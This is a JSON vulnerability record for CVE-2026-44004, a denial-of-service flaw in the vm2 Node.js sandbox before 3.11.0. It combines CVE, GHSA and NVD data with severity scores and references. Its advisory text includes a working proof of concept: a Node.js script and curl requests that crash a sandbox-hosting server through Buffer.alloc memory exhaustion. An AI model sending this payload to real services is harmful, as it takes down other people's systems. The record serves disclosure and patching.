{"id":"CVE-2026-44004","aliases":["CVE-2026-44004","GHSA-6785-pvv7-mvg7"],"related":[],"kind":"vulnerability","state":"published","title":"vm2: Host Process OOM DoS via Buffer.alloc (Timeout Bypass)","summary":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nSandboxed code can call `Buffer.alloc()` with an arbitrary size to allocate memory directly on the host heap. Because `Buffer.alloc` is a synchronous C++ native call, vm2's `timeout` option cannot interrupt it. A single request can exhaust host memory and crash the process with a `FATAL ERROR: Reached heap limit`.\n\n### Details\nIn `lib/vm.js:58`, `Buffer` is exposed to the sandbox through the `HOST` object. The bridge proxy (`lib/bridge.js`) passes `Buffer.alloc()` calls to the host without any size validation.\n\nKey technical distinction from regular JavaScript memory exhaustion (e.g., `while(true) a.push(...)`):\n- **JavaScript loops**: V8 can interrupt via timeout — vm2's `timeout` option works\n- **`Buffer.alloc(N)`**: Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt\n\nThis means:\n1. `timeout: 5000` does NOT protect against this attack\n2. A single call allocates the entire requested size at once\n3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash\n\nTested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM({ timeout: 5000 });\n\n// Buffer.alloc bypasses timeout — allocates 100MB on host heap\nconst result = vm.run(`Buffer.alloc(1024*1024*100).length`);\nconsole.log(result); // 104857600 — timeout had no effect\n\n// Control test — JavaScript loop IS caught by timeout\ntry {\n  vm.run(`var a=[]; while(true) a.push(1)`);\n} catch(e) {\n  console.log(e.message); // \"Script execution timed out after 5000ms\"\n}\n```\n\n**HTTP demonstration (OOM crash):**\n```bash\n# 1. Confirm server is running\ncurl -s http://localhost:3000/api/execute \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"\\\"alive\\\"\"}'\n# => {\"result\":\"\\\"alive\\\"\"}\n\n# 2. Send Buffer.alloc payload — process crashes with OOM\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"Buffer.alloc(1024*1024*100).length\"}'\n# => empty response (process died)\n\n# 3. Check server logs:\n# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n\n# Control test — JavaScript loop IS caught by timeout:\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"var a=[]; while(true) a.push(1)\"}'\n# => {\"errors\":[\"Script execution timed out after 5000ms\"]}\n# Server stays alive — timeout works for JS, but NOT for Buffer.alloc\n```\n\n### Impact\n- **DoS**: A single HTTP request crashes the host Node.js process via OOM. The `timeout` option provides no protection.\n- **Environment-dependent severity**:\n  - **Memory-constrained environments** (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario — `FATAL ERROR: Reached heap limit` was confirmed in testing.\n  - **Unconstrained environments**: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.\n- **Scope**: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.","format":"markdown","source":"ghsa"},{"lang":"es","text":"vm2 es una VM/sandbox de código abierto para Node.js. Antes de 3.11.0, el código en sandbox puede llamar a Buffer.alloc() con un tamaño arbitrario para asignar memoria directamente en el heap del host. Debido a que Buffer.alloc es una llamada nativa síncrona de C++, la opción de tiempo de espera de vm2 no puede interrumpirla. Una sola solicitud puede agotar la memoria del host y bloquear el proceso con un ERROR FATAL: Límite de heap alcanzado. Esta vulnerabilidad está corregida en 3.11.0.","source":"nvd"}],"published":"2026-05-07T04:26:39.000Z","modified":"2026-10-26T17:10:03.270Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-770","CWE-1285"],"affected":[{"ranges":[{"version":"< 3.11.0","status":"affected"}],"vendor":"patriksimek","product":"vm2","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1785854226","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2.1","package":"ansible-automation-platform/automation-portal","cpe":"cpe:/a:redhat:ansible_portal:2.1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Developer Hub","package":"rhdh/rhdh-hub-rhel9","cpe":"cpe:/a:redhat:rhdh:1","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.11.0"}],"ecosystem":"npm","package":"vm2","purl":"pkg:npm/vm2","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.11.0"}],"vendor":"vm2_project","product":"vm2","cpe":"cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44004","tags":["vdb-entry","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477195","tags":["issue-tracking","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44004.json","tags":["x-sadp-csaf-vex"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50850","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44004","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-13T18:07:58.206Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-44004","url":"https://www.cve.org/CVERecord?id=CVE-2026-44004","licence":"CVE Terms of Use","modified":"2026-09-07T12:04:56.598Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6785-pvv7-mvg7","url":"https://github.com/advisories/GHSA-6785-pvv7-mvg7","licence":"CC-BY-4.0","modified":"2026-05-14T20:48:47.342Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-44004","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44004","licence":"Public domain","modified":"2026-10-26T17:10:03.270Z"}],"updatedAt":"2026-11-25T22:59:21.614Z","epss":{"score":0.00419,"percentile":0.38145,"date":"2026-12-01T12:00:22.000Z"}}